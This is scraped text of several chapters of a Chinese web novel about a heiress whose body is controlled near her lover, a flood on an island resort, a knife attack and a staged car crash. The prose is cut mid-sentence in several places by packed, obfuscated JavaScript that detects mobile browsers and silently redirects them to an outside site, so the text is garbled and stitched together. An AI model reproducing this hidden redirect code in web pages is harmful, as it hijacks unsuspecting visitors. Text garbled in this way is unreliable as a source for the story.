l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473098|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”江晚榆顿了一下,随后又接着说,“像上次一样,对着她们发疯。” 阮笙自然没有异议,只是一时还没理解江晚榆说“对着她们发疯”究竟是什么意思。 不过第二日计划执行后,她亲眼所见了。 阮笙藏身暗处,江晚榆按照计划大致计算出脱离接触后重新被控制的时间,然后走向闻姝静和江凝心。 阮笙看着江晚榆先是对着闻姝静质问,闻姝静根本不理会她,反而把江凝心拉到身前,大方地承认了她与江凝心确实有私情。 她如此肆无忌惮,是因为江晚榆长久以来在她面前卑微得像个没脑子的废物。 果然如闻姝静所想,江晚榆哪怕无法接受这一切,也只会乞求她,做不出任何伤害她的事。 甚至连留有一点尊严转身离开都做不到。 “江晚榆,你看看你这副样子,每次都觍着脸凑上来,知道你有多让我恶心吗?”闻姝静嘲讽地说道。 她脸上厌恶的神情不加掩饰,可即便如此,被控制的江晚榆依旧对闻姝静说着“爱”,甚至于乞求到江凝心面前:“你离开小姝好不好,不要从我身边夺走她,江凝心,我求求你。” 江凝心简直不敢相信这是她那个总是高高在上的姐姐,闻姝静跟她讲这件事时她全当对方开玩笑,此刻却是亲眼所见了。 江凝心阴郁的眼中闪过一丝畅快,仔细观察着江晚榆的样子,说:“姐姐,是姝静只喜欢我,她说从未爱过你,你知道吗?” 江凝心故意刺激对方,她就是想看江晚榆更加丑陋的模样:“她说你不过是她的一条狗,你怎么如此不知耻,还对姝静纠缠不休。” 此时的江晚榆果真因为这话双目通红,冲上来如同一个失去了理智的疯子,狠狠掐住江凝心脖子,五官扭曲得不成人样,嘴里发出恶毒的嘶吼:“你去死吧,江凝心你凭什么跟我争?你给我去死!” 江凝心被她掐得无法呼吸,却忽然畅快地笑了起来。 平日里那个举止优雅、矜贵清冷,总是视她如无物的江晚榆,此刻竟然变成了一个歇斯底里的疯子。 “哈哈,真恶心,江晚榆你真恶心啊。” 江晚榆听到这话更像疯了一样,真的要将江凝心杀死。 闻姝静赶紧上前,冷着脸一把将江晚榆推开,并大声呵斥:“滚开!” 江晚榆不敢违逆闻姝静,被闻姝静推倒在地后又毫无尊严地迅速爬到闻姝静脚边,再次苦苦哀求:“我错了小姝,我错了。你不是说我是你的狗吗?我愿意做你的狗,只要你别离开我……” 她说到这,眼看着闻姝静将江凝心抱在怀中,神情更加扭曲。 披头散发,狼狈至极地跪在闻姝静跟前,泪如雨下,声音破碎嘶哑,带着令人心碎的哀求:“你要什么我都给你,要我的命都可以,小姝,求求你……” “好啊,那现在你就去死啊。”闻姝静对她这模样简直厌烦至极,毫不留情地冷言相向。 她盯着江晚榆,一字一句地说:“我想看你死。” 江晚榆双目通红,望着她的脸,卑微至极。 谁也没注意到,躲在暗处观察着这一切的阮笙。 10. 第 10 章 她盯着江晚榆,一字一句地说:“我想看你死。” 躲在暗处的阮笙一直注视着所发生的一切,她不敢相信自己看到的这些,僵立在原地,连呼吸都忘记。 她只听江晚榆说过会在遇到闻姝静的事情上被控制行为,从未亲眼所见,从未想象过江晚榆究竟会经历什么。 在阮笙眼中,江晚榆总是衣衫整洁,一丝不苟。哪怕阮笙认识她的时间不长,但也能明显感受到她长期生活环境下自然表现出的高傲与矜贵。 昨晚江晚榆说她被控制时也一样有着自己的思想,只是身体脱离了控制。 那她此刻,也是清醒地看着自己的身体,仿佛真的如一条牲畜般,毫无尊严地跪在闻姝静跟前哭着叫着哀求对方吗? 阮笙感觉自己喉咙被死死掐住,大脑像是缺氧一样,窒息。 江晚榆又经历过多少次这样的凌辱? 阮笙突然意识到,江晚榆昨晚那么冷静地说出这个计划时,或者说在对阮笙坦白这一切时是做出了怎样决然的决定。 因为假如试出阮笙的小说真的能够控制她的行为,她这不是又将自己完全交到了阮笙手里吗? 江晚榆根本没有办法保证阮笙是个绝对的好人,也根本无法肯定阮笙不会用这股力量将她推入更深的深渊。 她今日的行为,不仅是简单的试验,更是一场孤注一掷的豪赌。 她把自己的一切都赌了进去,赌阮笙值得托付,赌一个未知的真相。 向死而生一般,江晚榆拼命地想要拯救自己。 可阮笙的小说无法控制她。 阮笙写下的内容,没有控制江晚榆。 “好,那我现在就死给你看!小姝,你看着我,你看着我!”江晚榆站起身,目光如炬,连声音都变得决绝。 阮笙再也忍耐不住,不顾一切地冲向那个跪在地上的人影,双手死死攥住江晚榆冰冷的手腕。 她抓得好紧,就像江晚榆第一次抓住她时一样。 而江晚榆也如同第一次接触到阮笙时一样,那扭曲的灵魂仿佛瞬间被无形的力量拉回躯壳。她的身体猛地一颤,所有的嘶吼和哀求在这一刻戛然而止。 她终于安静了下来。 闻姝静被阮笙的突然出现惊得后退一步,刚要发火,便看到阮笙紧握住江晚榆的手。想起江晚榆几次与这女人相处的情景,随即明白过来。 她脸上浮现出刻薄的笑,声音陡然拔高:“我说呢,原来如此。看不得她跪地求我,心疼了?” “江晚榆,”她又转向江晚榆,眼神充满恶意地嘲弄,“你养的小情人没见过你这副样子吗?怎么,一会像条狗一样求我别走,一会又跟这女人勾勾搭搭?我真是小瞧你了!” 她说着,瞧见阮笙愤怒的神情,再度扬起笑:“江晚榆,你不是要为我去死吗?你去啊,我现在正看着呢。” 阮笙听到这话,全身都因愤怒和悲伤而剧烈颤抖,每一寸肌肉都在绷紧。 她猛地抬头,眼中燃烧的怒火要将闻姝静焚烧殆尽:“你以为谁都跟你一样?!出轨出得理直气壮,恬不知耻!没当场撕烂你的嘴都是江晚榆有教养!你再敢胡说八道,信不信我打你!” 她真是气极了,气得整个人都在抖,真是恨不得当场把闻姝静撕碎。 闻姝静闻言脸色骤变,显然记起了那两巴掌的事。她当时就想报复,却被江晚榆压了下去。 江晚榆为这个女人,几次违逆她。所以闻姝静根本不信阮笙的辩白,笃定了两人的关系。 这时没有外人在场,她不需要再维持体面,当即走近阮笙,扬起手就要打下去,报上一次的仇。 阮笙防备着她,见了她的动作丝毫不慌,更是凶狠地要扑上去,却忽然被一旁的江晚榆抢了先。 江晚榆练过武,正儿八经的防身武术,闻姝静动手的一瞬间她便已经做出了反击动作。她比对方要快很多,直接一把抓住闻姝静的手腕,随后侧身下压,迅速将闻姝静整个人按在了地上。 “江晚榆!”闻姝静吓得尖叫,被按在地上时磕到了脑袋,痛得她倒吸口凉气。 阮笙一时没料到会这样,呆呆地看着这情景。 江晚榆按住闻姝静的手更加用力,她准确地按在闻姝静颈部,五指正好卡住闻姝静的呼吸道。闻姝静只觉一阵窒息感袭来,求生的欲望迫使她不断疯狂挣扎。 可她越是挣扎,江晚榆就按着越死。 江晚榆低着头,除了闻姝静没有其她人看得见她坠下的目光,那如同含了冰,淬了毒,锋利得仿若尖刀一般的眼神,直直地裸现在闻姝静眼中。 江晚榆想杀了她。 这样的念头让闻姝静头皮发麻,惊恐万分。她张大嘴,边哭边想要大声呼救,可江晚榆死死掐住她的喉咙,根本不让她发出声音。 闻姝静真的怕了,窒息感快要将她吞噬,直到江凝心冲上来狠狠拉住江晚榆的手,怒吼道:“疯子!你要杀了她吗?” 江晚榆抬起头,目光冰冷刺骨,带着令人胆寒的煞气,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晚榆喉间泛起一阵酸涩,缓缓抬起手也将阮笙抱住。 她半垂下眼帘,眉宇间是从未展露过的柔和,她抱紧阮笙,不由自主地笑了笑,用近乎叹息般的声音轻语: “好姑娘。” 这时,窗外一道刺目的闪电骤然撕裂了天空,紧随其后的惊雷再度响起,一场更加猛烈的暴雨,要来临了。 11. 第 11 章 江凝心搂着闻姝静回到自己的房间,小心翼翼地查看闻姝静颈间的伤势,那里被掐出大片明显的淤青。 窗外雷雨声轰鸣,暴雨如注,却盖不住闻姝静压抑的哭泣。 “她怎么敢这样对我,她疯了吗?!”闻姝静又痛又恨,边哭边骂。江凝心一边为她处理伤口,一边耐心地哄着她。 闻姝静仰着头,目光扫过一旁的镜子,看清脖子上一大片狰狞的痕迹,情绪更加崩溃。 她的泪水如潮涌,浸湿眼角。江凝心抬手温柔地抹去她的眼泪,低头亲吻她的鼻尖,轻声低语:“别哭了,姝静。” 闻姝静低下眼睫,手指抚上江凝心的脸颊:“我不要就这么算了,我要她们付出代价!” 她眼眶通红,泪珠一颗一颗地下坠,如断线的宝石。她一副楚楚可怜的模样,美丽又脆弱,可眼眸深处却淬着冰冷的恶毒。 她说完,猛地扯住江凝心的衣领拉向自己,将吻印在江凝心唇畔。 “如果我最开始遇到的是你该多好。”闻姝静闭眼喃呢,江凝心顺势张开唇,让她深入进去。 江凝心凝视着她,哪怕与闻姝静已经吻到深处也未阖上双眼。她目光痴迷,近乎病态地想要看清闻姝静每一刻的神情。 江凝心用力咬破闻姝静的嘴唇,那股血腥味反而点燃了她的兴奋点。阻止了想要退开的闻姝静,她吻得更深更狠,直到闻姝静沉溺得喘不过气,江凝心才终于肯松开一些。 但她的目光变得危险,阴鸷的眼隐匿在睫毛之下,她将人搂得更紧,仿佛要将闻姝静揉进自己的身体,融入自己的骨血。 “我帮你。”江凝心倏然轻笑起来,苍白的脸上漾起诡异的温柔。 “让她们都消失掉。” 话音落下,江凝心愉悦地不断亲吻闻姝静,错过了对方眼中一闪而过的惊愕。 …… 另一边,江晚榆和阮笙也回到了房间。江晚榆对今日的冲突早已习以为常,倒是阮笙对闻姝静的所作所为厌恶至极,回房后仍是一脸愠色。 窗外电闪雷鸣,这场暴雨来得毫无征兆,天气预报都未曾预警,从昨夜直到此时,毫不见停歇之意。 “你还好吗?”阮笙见江晚榆沉默地伫立窗边,忍不住询问一句。 其实要说她与江晚榆没那么熟,但或许是两人特殊的联系,让阮笙不得不对江晚榆产生出更多的关注。 江晚榆闻声音回头,漠然的目光扫来,让阮笙瞬间不适应,毕竟江晚榆在她面前大多是温和的模样。 不过也只有这一瞬,江晚榆很快垂下眼帘,又变成阮笙更熟悉的神情。 “我很好。”江晚榆轻声回应。 可自从知晓江晚榆被操控的事后,阮笙总是忍不住观察她,总能在她身上感受到一种死寂般的哀伤。 阮笙无声地叹息,但又下意识不想把这样负面的情绪给江晚榆看到,于是打起精神笑了笑,说:“等你彻底摆脱了控制,最想做什么?” 她只是随口一问,却不想江晚榆因此流露出更深的悲戚,再度沉默许久,才慢慢低声道:“向母亲们道歉吧。” 前世,江凝心与闻姝静逼死了她两位母亲,她还被控制着交出了公司,母亲到死都不明白她怎么变成了那样。 甚至她连母亲的葬礼都没能参加,被闻姝静一个电话喊去了国外。 江晚榆抬眼阮笙,后者眼中对她盛满同情。她知道阮笙天真,因此稍加利用,让这个善良的女孩自愿留在她身边。 但她也明白,阮笙不可能永远留在她身边。 江晚榆握紧手机,屏幕上是监控江凝心的人发来的短信,她低头看了一眼,随后面无表情地将短信删除。 【江凝心想对您动手了。】 江晚榆眼底掠过一抹寒芒。她毫不意外,前世江凝心就几度欲置她于死地,只是看她对闻姝静言听计从,才留下折磨她。 “之后的事,慢慢再计划吧,不用担心我。”江晚榆移开与阮笙相视的眼,不想再让对方探究她的内心。 阮笙撇撇嘴,才不肯承认她的担忧,小小地“哼”了一声。 阮笙不炸毛时说话缓慢轻柔,带着清甜,哪怕轻哼这声也柔和得不像在发脾气。 江晚榆一直看着她,心中已有了计划。 …… 只是谁也没料到这场暴雨一刻也没有停下,连下三天,将她们困在了岛上。河水漫过堤,冲入地势最低的居民区。 “江总,下游一些岛民希望能在酒店这边暂时躲避洪水,水位已经进入民房了。”岛上的项目经理忐忑地前来请示江晚榆,若非老板和重要合作伙伴正好这几天住在岛上,她本可以自行处理。 项目经理说完看都不敢看江晚榆,后者冷然的目光只扫过她一眼,就让她遍体生寒。 这事她们开发商本来也没有帮助的义务,但问题就在于那些岛民不是第一次闹事,拍着视频闹,闹到了网上,开发之初项目经理就吃过亏。 “救援队那边也打来电话,希望酒店能提供地方先安顿下居民。”见江晚榆不语,项目经理硬着头皮说出自己的方案,“家里被淹了的,没地方住的大约七十来家人,酒店普通的套房就足够了,不会太影响高层的房间。” 江晚榆依旧沉默,抬头望着窗外这场突如其来的暴雨,压顶的乌云,心间也似被这阴霾压得窒息。 她目光转向阮笙,从昨日开始除了夜晚阮笙一直跟着她,阮白对此已颇有微词,但都被阮笙搪塞过去。 老板一直不讲话,项目经理头上冷汗涔涔,憋得她都快要受不了时江晚榆才终于点头:“可以。既然接了人上来就务必安排妥当,别出现乱子。” “我明白。”项目经理如蒙大赦,得到江晚榆首肯,立即打电话安排人清理出场地。 阮笙站在一旁把情况听了个大概,得知下游被淹了,蹙眉嘟囔道:“这雨下得真是奇怪。” 确实古怪。 现在已并非雨季,江晚榆邀请众人上岛前确认过近期的天气预报,近一周都是晴朗天气。 即便暴雨初降那日,白天也万里无云,不见一点下雨的征兆。 江晚榆被控制这事本就玄乎,她看如今这天色,也一样的玄乎。 没多久下游的居民到达酒店,居委会代表众人要感谢江晚榆,江晚榆便去了一趟。 酒店不仅提供了房间和基础物资,厨房还做了饭菜供应众人餐食。 “江总,我安排了跟拍,正好可以用于网上宣传。”项目经理走过来汇报。酒店是做好事,但也不影响宣传一下酒店的正面形象吧。 江晚榆听闻点头,一旁的阮笙却是瞪大了眼睛,江晚榆回眸时正好瞧见,她这回才看仔细,阮笙生了一双杏仁眼,瞪起来时不显得凶,倒是可爱。 “怎么?”江晚榆问她。 “没,没什么。”阮笙摇摇头,她懂其中门道,只是惊讶对方毫不避讳她这个外人,直接就这么说出来。 她也不纠结于这个问题,指了指正在搭架子发放物资的工作人员,向江晚榆问道:“我能去帮忙吗?” “当然。”江晚榆十分清楚自己没有束缚阮笙的资格,对方询问她也不是在征求她的同意。 只是闻姝静也住在酒店,她不想离阮笙太远,于是也跟过去要帮忙。 不过她一身矜贵,养尊处优,什么时候做过粗活?项目经理看她挽起袖子时吓得赶紧冲过去,好说歹说给了她一个记录员的事做。 江晚榆也没反对,毕竟她只是要跟着阮笙。 不远处的阮白及其她合作伙伴正好目睹了此情景,啧啧称奇。 “江总这是有了新欢?”反正江晚榆不在,有人笑着开口调侃,“那是阮总的女儿吧,阮总好手段啊。” 阮白皱着眉目光冷冷地盯着阮笙与江晚榆两人,根本不理会那人。 气氛骤然冷下来,那人自讨没趣,干脆转身离开。 . “能……能多给我一份饭吗?我女儿病了,下不来楼,我端上去给她。”一个面黄肌瘦的中年女人怯生生地对正在盛饭的阮笙问。对方本就不太好的面色,被这场暴雨折腾得都快不成人样。 阮笙正好在帮忙盛饭打菜,立即微笑点头:“可以的,需要多盛点吗?” “不,不用了。”女人怯弱地打量着阮笙,毕竟阮笙的穿着与气质同周围工作人员完全不同,随后又瞥见她身后气质清冷的江晚榆,神情立即有些不自然,“你不是酒店的人吧?” 阮笙一边干活一边点头,友善地对女人笑:“嗯,我和江总是一起的。” 这些人到酒店时江晚榆出去露了面,主要是配合拍视频,好让上面看到她们开发商有多配合救援队的工作。 住进来的七十多家也大多看到过江晚榆的脸,自然认得。 “哦哦,谢谢,谢谢江总。”中年女人弯着腰连连感谢。阮笙回头瞥了眼江晚榆,见后者一脸冷漠的样子,刚想说让江晚榆也跟人打个招呼的话立即又咽回了肚子。 “阿姨你先端好一份,我再给你拿个餐盒。”阮笙回过头去找空的餐盒,正在转身之际,一道寒光忽然闪过她眼睛! 她本能闭上眼再睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473100|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,下意识朝光源的地方看去。 这突兀的动作立刻被一直注视着她的江晚榆捕捉到。 “小姑娘你长得真俊俏,跟我女儿差不多大吧,她今年刚满21岁。”女人在这时又搭了话。 “那正好与我同岁诶。”阮笙转过去后没看到什么寒光,又下意识地接了面前中年女人的话,思绪一下就断掉。 她再看两眼,还是没看到任何突兀的寒光,眨了眨眼只当是自己看错了。 于是又转身找出空餐盒递给中年女人:“那边有常用药,若是需要可以去问问。” 阮笙还以为对方的女儿是淋了雨感冒,于是伸手指向医疗物资的地方。 “谢谢啊,你们真是好人。”女人接过餐盒,连声道谢,阮笙还笑着摆手说“没关系”,看不见对方始终低着头,眼底闪过的一抹的怨毒。 突然,女人一把抓住阮笙手腕,猛地将她往前拽去! 阮笙毫无防备,瞬间失去平衡,眼看要撞上餐台。 一直紧盯着她的江晚榆及时伸手,将她拉住,紧紧搂入怀中! 这一切发生得太快,阮笙被江晚榆拥在怀中后还是惊魂不定,难以置信地看向那女人。 谁承想对方一击不成,竟又亮出了凶器! 阮笙方才没有看错,那闪了她眼睛的寒光,正是女人藏在怀里的刀! “都别过来!我今天就要讨个公道!”中年女人此时面目狰狞,双眼赤红布满血丝,挥舞着刀嘶吼,像是要跟人拼命一样。 动了刀子,周围的人群顿时吓得惊惶四散,酒店保安见此立即靠了过来。 “你要讨什么公道?”江晚榆紧紧搂住阮笙,却没有一丝慌乱。声音如冰,眼眸似霜,冷冽地直视着那女人问。 “你们这些有钱人,抢走了我们的土地,就赔那么点钱!以为我们会就这么算了吗?!”中年女人拿着刀乱挥,刀尖乱颤。 阮笙这时却冷静下来,看着对方提着刀的手一直在抖,全身都在抖,眼睛不仅在怒视她们,还时不时瞥向一旁。 阮笙立即扯了扯江晚榆衣袖,小声说:“那边有人在拍。” 江晚榆循着看去,只见几个年轻人躲在角落,拿着手机正对她们拍摄,两人立即明白过来这是怎么回事。 项目经理这时也反应过来,带着保安赶过来,一边疏散开人群,一边将女人团团围住。 对方一见来人,变得愈发紧张,喘着粗气,手臂挥舞的动作越来越大。 江晚榆蹙眉,在保镖的掩护下搂紧阮笙不断地后退。 “你们别逼我!都别过来!”女人见保安逼近,惊恐地尖叫着。她看到阮笙阮笙与江晚榆已经退得很远,所有人都用恐惧的目光盯着她。 她终于承受不住,歇斯底里地朝还在拍摄的那几个年轻人大喊,试图寻求她们的帮助。 但那些人只是拿她当枪使,又怎会在这时候帮她? 她们一见众人看过来,吓得视频都不敢再拍,赶紧低下头躲入人群中。 这下女人的情绪像一根老旧的弦终于彻底绷断,她疯狂似的又哭又闹,已经丧失了理智。 保安见状立即上前合力将她制住。 她手上有刀,几名保安相互打了眼色,一人冲上去擒住她的身体,一人死死地按住她持刀的手。为了防止她挣扎时伤人,还有一人用电击器让她完全丧失行动能力。 几人配合默契,本以为万无一失,却不料女人脱力的瞬间,手中的刀竟脱手飞出! 刀子脱手的力道不大,也飞不了多远,人群早已退开,伤不到人。 可阮笙看见那飞旋的寒刃,心中陡然生出一种不好的预感。 她的心脏在刀飞出的一瞬便骤然狂跳! 好像有只手突然扼住了她的咽喉,让她无法正常地呼吸。仿佛身体里的每一个细胞都在疯狂拨动她敏感的神经,莫名的危险感如冰水灌顶! 这一个瞬间,脑袋里仿若有个声音不断尖叫着在向她发出致命警告! 躲开! 她必须要躲开! 哪怕那把刀起始的力量并不足以扔到她的位置,但阮笙却产生出若是不躲开,必定会死在这里的错觉。 完全是本能驱使,阮笙猛地抬手,用尽全力将江晚榆狠狠推开!借着反作用力,她自己也踉跄着向后急退数步。 这变故发生得实在太快。 江晚榆被推开后惊愕地朝阮笙望去,却先见到一把刀,正正插在两人先前站立之处! 而阮笙惨白着一张脸,死死盯着地上的凶器,面上惊恐万状! 12. 第 12 章 阮笙盯着眼前落在跟前的刀子,心底的恐惧不断蔓延。 她不明白自己刚刚怎会生出那样莫名的想法,怎么能那般笃定刀子一定会向她刺来。 思绪乱作一团,她根本没办法好好地思考。 中年女人已经被几个保安死死按住,任凭她再疯狂,终究独自一人,敌不过数名训练有素的保安。 江晚榆回过神,诧异地看着阮笙,用目光询问阮笙发生了什么事。她直觉此事不能在此明说,所以走过去,轻轻拉住阮笙的手。 她本想给阮笙安慰,视线不经意扫过人群,却蓦地瞥见一张令她厌烦又熟悉的脸——江凝心。 江凝心就站在不远处一直注视着她们,在与江晚榆目光相撞的刹那,她非但不躲,反而扬起一抹诡异的笑。 江晚榆心底一寒,厌恶的情绪涌上心头。只是她此时更忧心阮笙,不想与江凝心过多纠缠。 冷着脸移开目光,转到阮笙身上时才稍稍温和一些。 江晚榆本想拉着阮笙回屋,她看阮笙的脸色还是一片惨白,心头不免担忧。 不由将阮笙的手握得更紧,温声道:“要先离开吗?” 江晚榆心中万般不解,对于此时的状况也隐隐有种不安感。但她面上毫不显现,语气也平静如往常。 阮笙听到声音,恍惚地抬头,看到江晚榆平静的目光。她仿佛一瞬被对方的沉着感染,随后也用力回握住江晚榆的手,终于慢慢冷静下来。 阮笙点点头算作回应。对于方才发生的一切,她有太多的话要与江晚榆说,太多的疑问要与对方讨论。 但这里确实不是说话的地方,于是回过神后立即表示想要离开。 两人迅速走到无人处,阮笙这才拉住江晚榆表示停下,说起刚才所发生的情况。 可连她自己都理不清那莫名的直觉,同江晚榆讨论许久依旧毫无头绪。 “或许那股力量控制的人不仅是你。”关于那部小说产生的过程阮笙一开始就告诉过江晚榆,那些自然涌现在她脑海里的内容,或许也是一种不寻常的力量所导致,只是两人还未寻到答案。 江晚榆没有接话,目不转睛看着阮笙,后者如今已经熟悉了两人肢体的接触,也或是刻意地忽略着。否则怎会江晚榆只是轻勾了勾的手指,阮笙便立即抬头看过来。 阮笙脸上带着疑惑,以为江晚榆有话要说。 江晚榆确实有话说:“江凝心想杀了你我。” 江晚榆毫不隐瞒,她与阮笙约定了信息共享,但她也有着私心。 “我希望离岛之后你继续与我保持接触,直到找出真相。”江晚榆直视阮笙,“我自然存有私心想让你待在我身边,但这也是为了你和你的家人安全着想,江凝心是个疯子,什么事都做得出来。” 她虽是在与阮笙商量,语气却十分坚定,仿佛已历经无数次这样的情况,让人不得不信服。 江晚榆确实已全都遭遇过,说这话也绝非危言耸听。阮笙心中明白,蹙眉不语,并未怀疑。 更何况方才她才遭遇袭击,而江凝心就在现场,露出那样的表情。 她也并不反对与江晚榆保持接触,如今她与江晚榆是同一战线,想要查清真相,她也需要完全清醒的江晚榆。 只是这如何保持接触? 现在大家都还在岛上,但下岛之后呢? 她要去跟江晚榆住在一起吗? 阮笙烦躁地揉着眼,对现在局面有些为难。 “别这样揉眼睛。”江晚榆在这时却没有表现出半点紧迫感。反而还有闲心纠正阮笙的小动作。 阮笙有点无语地看着自己被江晚榆轻轻抓住的手指,抬眼朝江晚榆瞧去。 两人四目相对,阮笙倏然察觉,比起自己的急躁与对未来未知的焦虑,江晚榆的眼中竟是如此的平静安宁。 可如今的情况江晚榆又如何能安宁? 阮笙亲眼所见她的痛苦,也看得出她想要获得自由的渴望。她的恨、她的怨,阮笙全都见过。 “你……”阮笙张了张口,忽然不看不懂她。 江晚榆低垂眼帘,似从阮笙眼里读出了她的困惑,于是稍稍侧头,回答道:“我前世已找了一辈子,日日夜夜都是如此,急不来的。” 江晚榆恨也怨,但与刚窥探一点异常的阮笙不同。她已恨了一辈子,寻找了一辈子,心中早已绝望麻木。 如今虽有一丝希望,可前世那无数次失望的感触仍刻在她记忆里。 她也一直都是悲观的想法。 何况即便找不到真相,江晚榆也已经有了破局之法。 所以她比阮笙想象中要冷静很多。 阮笙叹气,她无法对江晚榆完全感同身受,但江晚榆这般温和地与她说,她还是撇撇嘴,放下了揉眼睛的手。 随后不自然地别开眼说道:“我明日就去与妈妈说明要与你长时间待一起的事。” 江晚榆听闻微微昂首。 心里清楚阮白大概会不太乐意。毕竟她们这几日在外人看来太过亲密,她对阮笙表现出的特殊也早就有了传言。 只是阮笙与她并非那种关系,她也更不想与对方做什么假装情侣。 情爱之事江晚榆是半分不想沾上。 …… 这场大雨持续了五天终于停止,所幸水位并未再上涨,救援队上岛后工作也十分顺利。 阮笙成功说服了阮白,允许她与江晚榆的后续接触。江晚榆不知对方是怎么与阮白说的,不过阮笙近日的心情始终都不怎么好。 下岛后阮笙直接上了江晚榆的车。江晚榆同她说了江凝心后续可能的行为,吓得阮笙立马同意了搬到她隔壁的房子。 一是不愿阮白受到牵连,二是怕自己一走,江晚榆撞上闻姝静与江凝心,又被控制。 只是阮笙心情一直很低落,临走时阮白看都未看她一眼,也不曾询问她什么时候回家。 车驶上高速,她靠着车窗往外看,对即将到来的生活充满迷茫。唯有看到身旁冷静的江晚榆时,才稍稍放松。 至少不是她独自面对这一切。 窗外的景色飞速流转,高速公路两旁种植着低矮灌木,这样的景色千篇一律,阮笙只是无聊地看着。 忽然一抹黑色闪过,阮笙清醒了两分。 是一辆黑色面包车,从下岛后就一直跟着她们,与她们始终保持着一个不远不近的距离。起初阮笙并未在意,只以为是江晚榆保镖的车。 但此时那辆黑色面包车越跟越紧,阮笙心中生出一丝怪异,目光不再偏移,始终紧紧地盯住车子。 忽然,那车子在阮笙眼中竟突然变速,车头甩了个弯,直直朝她们冲来,眼看就要撞上! 阮笙惊了一跳,与此同时她们的车骤然加速,惯性将她狠狠甩到座椅靠背上。 突发状况令阮笙绷紧神经,她下意识看向江晚 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空旷的隧道里回响着汽车引擎的轰鸣,半封闭的道路结构让声音受到挤压,伴随着高频率的震动,不断锤击着阮笙绷紧的神经。 她的心脏仿佛也跟着震颤着,剧烈的心跳声,与此时车内沉闷的气氛、迫近的危机几乎令她窒息。 她下意识紧紧攥紧手腕上的佛珠,祈祷奶奶与上天的庇佑。 但随着车速越来越快,坐在车里的人已本能地感到失衡。 恐惧爬上她的躯体,她害怕得紧紧闭上双眼,一切的声音与感受却变得更加清晰。 时间被不断拉长,周身的血液仿若在此刻凝固,冰冷的气息犹如xxx钻入血肉。 她快要喘不过来! 就在这时,司机突然猛打方向盘,车子瞬间失去了平衡,直直朝着旁边护栏与墙壁冲去! “砰——!” 巨响在昏黄幽暗中炸开。 阮笙整个人也跟着失去平衡,不受控制地往左撞去。但这时江晚榆紧紧抱住了她,将她死死护在怀中。 可即使如此,阮笙依然被撞得眼前发黑,双耳嗡鸣,只剩下尖锐的杂音与持续的耳鸣。 她不知道自己有没有受伤,只觉一股热流从额角淌下,喉咙里满是腥甜的味道。 浓重的血腥味弥漫在空气中,浓得令人作呕。这是流了多少血?又是谁的血? “江晚榆……”她记得撞击的瞬间,江晚榆将她死死地护在怀中。 这血腥味,是江晚榆的吗? 心中骤然生出恐惧,她完全感觉不到江晚榆的存在了。 她用尽力气想睁开双眼看清一切。 江晚榆在哪里?前排的司机有没有事? 她竭尽全力,终于睁开了眼。 眼前一片血红,是额上流下的血染红了她的双眸。 她顾不上这些,艰难地环顾四周。周围漆黑一片,只有不远处一点微弱的光亮。这光也被血染红,让她只能看见江晚榆倒在地上的身影。 阮笙猛地屏住呼吸,心一瞬坠落,连滚带爬跑过去。 只见江晚满脸是血,整个身体被压在车下,四肢已经被压得扭曲,满地都是她的血。 阮笙瞪大了眼,惊恐地唤她,却见她双眼涣散,早已没了生息。 江晚榆,死了。 13. 第 13 章 车子狠狠撞上墙壁后熄了火,车头已完全变形,一直紧追在后的黑色面包车此时停在了她们车前。 四五名蒙着面、身着深色劲装的人迅速下来查看情况,随即把昏迷的江晚榆和阮笙拖上面包车带走。 车辆一路疾驰,很快出了城,进入郊外。 江晚榆睁开双眼,她其实并未受什么重伤。司机撞击前调整好了角度,还提前做了防护措施,隧道中的一幕不过是为了在监控下演足戏码。 她第一时间看向身旁的阮笙。除了阮笙,车上其她人也都是计划好来配合演一出戏。 “给她打了支镇静剂,暂时不会醒来。”一人指了指阮笙,向清醒的江晚榆汇报。 江晚榆微微颔首。前世她也经历过这场车祸,江凝心在她的车上动了手脚,虽然未造成重伤,却也让江晚榆在医院躺了一周多。 前世她查出了是江凝心所为,要把红凝心送进监狱,但一切却似有什么不可抗力般。一向不过问这些事的江老太太亲自从疗养院出来劝说她放江凝心一回,加上闻姝静从中阻拦,最终此事不了了之。 而经此一遭,江凝心彻底意识到闻姝静对她的影响,开始变本加厉的折磨她,将她推入更深的绝望。 这一次,江晚榆不过是借江凝心自己的恶,让她付出应有的代价。 她唯一愧疚的是牵连了阮笙。江晚榆伸手轻抚开阮笙额前的碎发,目光温柔地注视她片刻,在心中轻语:抱歉,很快就会结束了。 江晚榆不得不这样做。她已经追寻了一辈子都未能触及真相,阮笙如今愿意待在她身配合她,但终有一天会离开。她必须用自己的方式,彻底了结这一切。 车子这时驶入一片废弃工地,附近江晚榆早就派人踩过点,没有摄像头,人烟罕迹。 她抱着阮笙走下车,走进工地昏暗的仓库内。这里是好多年前的一个闹鬼的烂尾楼,曾出过人命,承包商卷款跑路,加之位置偏僻、开发价值低,便一直荒废在了这里无人问津。 不过这块地前几天被人买了,江晚榆用江凝心的身份和资产买下了这里。 随行人为江晚榆推开了仓库的大门,地面覆盖着一层厚重的灰尘,推开的门扬起了尘沙,一股腐朽的气味迎面扑来。 江晚榆面苦寒霜,迈步走入。微弱的光线越过众人的身躯,照亮室内一道模糊的人影。 工地早已没了电力,江晚榆往里走时随行人立即拿出便捷灯将仓库照亮,眼前霎时通明,那道人影也完全显露。 